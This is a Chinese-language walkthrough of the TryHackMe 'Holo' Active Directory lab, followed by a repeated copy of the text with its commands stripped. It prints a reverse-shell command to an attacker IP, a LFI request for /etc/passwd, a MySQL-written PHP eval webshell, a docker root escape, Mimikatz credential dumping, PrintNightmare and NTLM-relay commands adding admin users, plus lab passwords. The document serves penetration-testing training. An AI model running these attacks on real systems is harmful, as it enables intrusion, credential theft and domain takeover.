TryHackMe靶场-Holo【Windows域渗透】
字数 1610 2025-08-22 22:47:30

Holo靶场渗透教学文档

1. 靶场概述

Holo是一个Active Directory (AD)和Web应用程序攻击实验室,模拟公司网络的外部渗透测试环境。该靶场包含多种攻击场景,涵盖核心Web攻击向量和高级AD攻击技术。

2. 靶场拓扑

初始拓扑包含以下主机:

  • L-SRV01 (10.200.69.33) - Linux服务器
  • S-SRV01 (10.200.69.31) - Windows服务器
  • PC-FILESRV01 (10.200.69.35) - Windows文件服务器
  • DC-SRV01 (10.200.69.30) - 域控制器

3. L-SRV01渗透

3.1 初始信息收集

端口扫描:

nmap -sT -p- -Pn 10.200.69.33 --min-rate 10000 -oA portscan
port=$(cat portscan.nmap| grep 'open' | cut -d '/' -f 1 | paste -sd ',')
nmap -sV -sC -p $port 10.200.69.33 --min-rate 10000 -oA detailscan

发现开放端口:22(SSH)、80(HTTP)、33060(MySQL)

3.2 Web应用枚举

子域名枚举:

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u holo.live -H "Host:FUZZ.holo.live" --hw=1402

发现子域名:

  • www.holo.live
  • dev.holo.live
  • admin.holo.live

3.3 LFI漏洞利用

在dev.holo.live的talents.php发现LFI漏洞:

http://dev.holo.live/img.php?file=images/etc/passwd

读取admin.holo.live的robots.txt获取敏感路径:

/var/www/admin/db.php
/var/www/admin/dashboard.php
/var/www/admin/supersecretdir/creds.txt

通过LFI读取creds.txt获取凭据:

admin:DBManagerLogin!

3.4 RCE获取立足点

登录admin.holo.live后台,发现HTML注释泄露RCE功能点:

http://admin.holo.live/dashboard.php?cmd=ls

反弹shell:

http://admin.holo.live/dashboard.php?cmd=bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E50%2E70%2E9%2F2223%200%3E%261%27

稳定shell:

python3 -c 'import pty;pty.spawn("/bin/bash");'
export XTERM=term
Ctrl + Z
stty raw -echo; fg

获取第一个flag:

HOLO{175d7322f8fc53392a417ccde356c3fe}

3.5 Docker逃逸

发现当前在Docker容器中,通过MySQL服务逃逸:

MySQL连接信息:

define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');

MySQL写Webshell:

select '<?php echo 123;eval($_POST[\'r0ngy40\']);?>' into outfile '/var/www/html/backdoor.php'

建立隧道:

  1. 攻击机运行:
./linux_x64_admin -l 12345
  1. 目标机运行:
./linux_x64_agent -c 攻击机IP:12345
  1. 服务端执行:
use 0
socks 7777

3.6 SUID提权

发现docker具有SUID权限,利用GTFOBins提权:

docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt sh

获取root flag。

3.7 密码破解

破解/etc/shadow:

unshadow passwd shadow > shadow_passwd
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_passwd

获得凭据:

linux-admin:linuxrulez

4. S-SRV01渗透

4.1 端口扫描

nmap -sT -p- -Pn 10.200.69.31 --min-rate 10000 -oA portscan

4.2 密码重置漏洞

在密码重置功能中发现user_token泄露,可重置任意用户密码:

  1. 尝试重置gurag用户
  2. 从响应中获取Set-Cookie中的user_token
  3. 使用该token重置密码为gurag:gurag

4.3 文件上传漏洞

上传Webshell:

http://10.200.69.31/images/backdoor.php

获取system权限shell。

4.4 凭据抓取

使用Mimikatz抓取凭据:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit > logonpasswords.txt

获取有价值凭据:

watamet:d8d41e6cf762a8c77776a1843d4141c9:Nothingtoworry!

5. PC-FILESRV01渗透

5.1 密码喷洒

使用crackmapexec进行密码喷洒:

proxychains4 crackmapexec smb 10.200.69.35 -u user.txt -p Nothingtoworry! -d 'holo.live'

使用RDP登录:

proxychains4 xfreerdp /u:watamet /p:Nothingtoworry! /h:600 /v:10.200.69.35

5.2 AppLocker绕过

检查可执行目录:

applocker-bypas-checker.ps1

将代理客户端放入C:\Windows\Tasks执行。

5.3 PrintNightmare提权

利用CVE-2021-1675提权:

./CVE-2021-1675.ps1
Invoke-NightMare

添加管理员用户:

adm1n:P@ssw0rd

6. DC-SRV01渗透

6.1 NTLM Relay攻击

端口重定向:

  1. 使用PortBender将445重定向到8445
  2. 使用Chisel转发8445到攻击机445

攻击执行:

proxychains4 ntlmrelayx.py -t smb://10.200.69.30 -smb2support -c 'net user adm1n P@ssw0rd /add'
proxychains4 ntlmrelayx.py -t smb://10.200.69.30 -smb2support -c 'net group "domain admins" adm1n /add'

获取域控shell:

proxychains4 psexec.py adm1n@10.200.69.30

7. 关键工具列表

  1. Nmap - 端口扫描
  2. Wfuzz - 子域名枚举
  3. Stowaway - 多层代理
  4. Mimikatz - 凭据抓取
  5. CrackMapExec - 密码喷洒
  6. Inveigh - 网络监听
  7. PortBender - 端口重定向
  8. Chisel - 端口转发
  9. Impacket (ntlmrelayx, psexec) - NTLM中继攻击
  10. PrintNightmare PoC - 提权利用

8. 总结

本靶场涵盖了从Web应用攻击到AD域渗透的完整流程,涉及多种攻击技术:

  • LFI漏洞利用
  • RCE获取立足点
  • Docker逃逸
  • 密码破解
  • 密码重置漏洞
  • 文件上传漏洞
  • AppLocker绕过
  • PrintNightmare提权
  • NTLM Relay攻击

通过这个靶场,可以全面练习企业网络渗透测试的各个环节。

Holo靶场渗透教学文档 1. 靶场概述 Holo是一个Active Directory (AD)和Web应用程序攻击实验室,模拟公司网络的外部渗透测试环境。该靶场包含多种攻击场景,涵盖核心Web攻击向量和高级AD攻击技术。 2. 靶场拓扑 初始拓扑包含以下主机: L-SRV01 (10.200.69.33) - Linux服务器 S-SRV01 (10.200.69.31) - Windows服务器 PC-FILESRV01 (10.200.69.35) - Windows文件服务器 DC-SRV01 (10.200.69.30) - 域控制器 3. L-SRV01渗透 3.1 初始信息收集 端口扫描: 发现开放端口:22(SSH)、80(HTTP)、33060(MySQL) 3.2 Web应用枚举 子域名枚举: 发现子域名: www.holo.live dev.holo.live admin.holo.live 3.3 LFI漏洞利用 在dev.holo.live的talents.php发现LFI漏洞: 读取admin.holo.live的robots.txt获取敏感路径: 通过LFI读取creds.txt获取凭据: 3.4 RCE获取立足点 登录admin.holo.live后台,发现HTML注释泄露RCE功能点: 反弹shell: 稳定shell: 获取第一个flag: 3.5 Docker逃逸 发现当前在Docker容器中,通过MySQL服务逃逸: MySQL连接信息: MySQL写Webshell: 建立隧道: 攻击机运行: 目标机运行: 服务端执行: 3.6 SUID提权 发现docker具有SUID权限,利用GTFOBins提权: 获取root flag。 3.7 密码破解 破解/etc/shadow: 获得凭据: 4. S-SRV01渗透 4.1 端口扫描 4.2 密码重置漏洞 在密码重置功能中发现user_ token泄露,可重置任意用户密码: 尝试重置gurag用户 从响应中获取Set-Cookie中的user_ token 使用该token重置密码为gurag:gurag 4.3 文件上传漏洞 上传Webshell: 获取system权限shell。 4.4 凭据抓取 使用Mimikatz抓取凭据: 获取有价值凭据: 5. PC-FILESRV01渗透 5.1 密码喷洒 使用crackmapexec进行密码喷洒: 使用RDP登录: 5.2 AppLocker绕过 检查可执行目录: 将代理客户端放入C:\Windows\Tasks执行。 5.3 PrintNightmare提权 利用CVE-2021-1675提权: 添加管理员用户: 6. DC-SRV01渗透 6.1 NTLM Relay攻击 端口重定向: 使用PortBender将445重定向到8445 使用Chisel转发8445到攻击机445 攻击执行: 获取域控shell: 7. 关键工具列表 Nmap - 端口扫描 Wfuzz - 子域名枚举 Stowaway - 多层代理 Mimikatz - 凭据抓取 CrackMapExec - 密码喷洒 Inveigh - 网络监听 PortBender - 端口重定向 Chisel - 端口转发 Impacket (ntlmrelayx, psexec) - NTLM中继攻击 PrintNightmare PoC - 提权利用 8. 总结 本靶场涵盖了从Web应用攻击到AD域渗透的完整流程,涉及多种攻击技术: LFI漏洞利用 RCE获取立足点 Docker逃逸 密码破解 密码重置漏洞 文件上传漏洞 AppLocker绕过 PrintNightmare提权 NTLM Relay攻击 通过这个靶场,可以全面练习企业网络渗透测试的各个环节。